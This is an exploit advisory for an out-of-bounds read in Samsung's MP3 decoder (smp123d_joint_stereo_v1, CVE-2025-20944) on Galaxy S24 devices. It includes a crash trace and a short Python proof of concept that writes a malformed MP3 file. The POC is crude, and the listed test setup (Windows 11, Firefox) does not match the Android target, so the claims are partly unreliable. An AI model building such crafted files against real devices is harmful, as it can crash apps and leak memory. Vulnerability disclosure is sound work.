📄 Samsung MP3 Decoder Out-Of-Bounds Read

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    | # Title     : Samsung MP3 Decoder (smp123d_joint_stereo_v1) Out-of-Bounds Read Enabling Potential ASLR Bypass                             |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits)                                                            |
    | # Vendor    : https://www.samsung.com/us/                                                                                                 |
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    [+] References : https://packetstorm.news/files/id/199582/
    
    [+] Summary : An out‑of‑bounds read vulnerability exists in the Samsung MP3 decoder, specifically in the function smp123d_joint_stereo_v1. 
                  The decoder fails to validate table indices during joint‑stereo processing, allowing memory outside the intended buffer to be read. This flaw can cause crashes, 
                  inconsistent audio output, and memory disclosure behavior dependent on the process layout. As a result, the bug may enable partial ASLR bypass when a crafted MP3 file is processed on affected Samsung devices. 
                  The issue affects the Samsung Galaxy S24 (patch level December 1, 2024) and is tracked as CVE‑2025‑20944.
    			  
    #00 pc 0000000000035a1c  /vendor/lib64/libsavsac.so 
        (smp123d_joint_stereo_v1+1436)
        (BuildId: df93c19e458701b5125d755553f19288)
    
    
    [+] There is no public version number for smp123d_joint_stereo_v1 because:
    
    It is not a standalone library.
    
    It is an internal function inside Samsung’s proprietary MP3 decoder.
    
    Samsung does not publish version numbers for these internal codec modules.
    
    [+] Therefore:
    
     The vulnerable version is the MP3 decoder shipped with the Samsung Galaxy S24 series (One UI 6.x / Android 14–15).
    Vulnerable Component:
    
    Samsung MP3 Decoder — internal function: smp123d_joint_stereo_v1
    
    Affected Version:
    
     The decoder included in One UI 6.x (2024 firmware) on the S24 family.
    
    [+]  POC : python poc.py
    
    import struct
    
    def create_malformed_mp3():
    
        header = b'\xFF\xFB\x90\x00'  
    
        malicious_data = b''
    
        for i in range(1000):
            malicious_data += struct.pack('>H', 0xFFFF) 
        
        return header + malicious_data
    
    with open('exploit.mp3', 'wb') as f:
        f.write(create_malformed_mp3())
    
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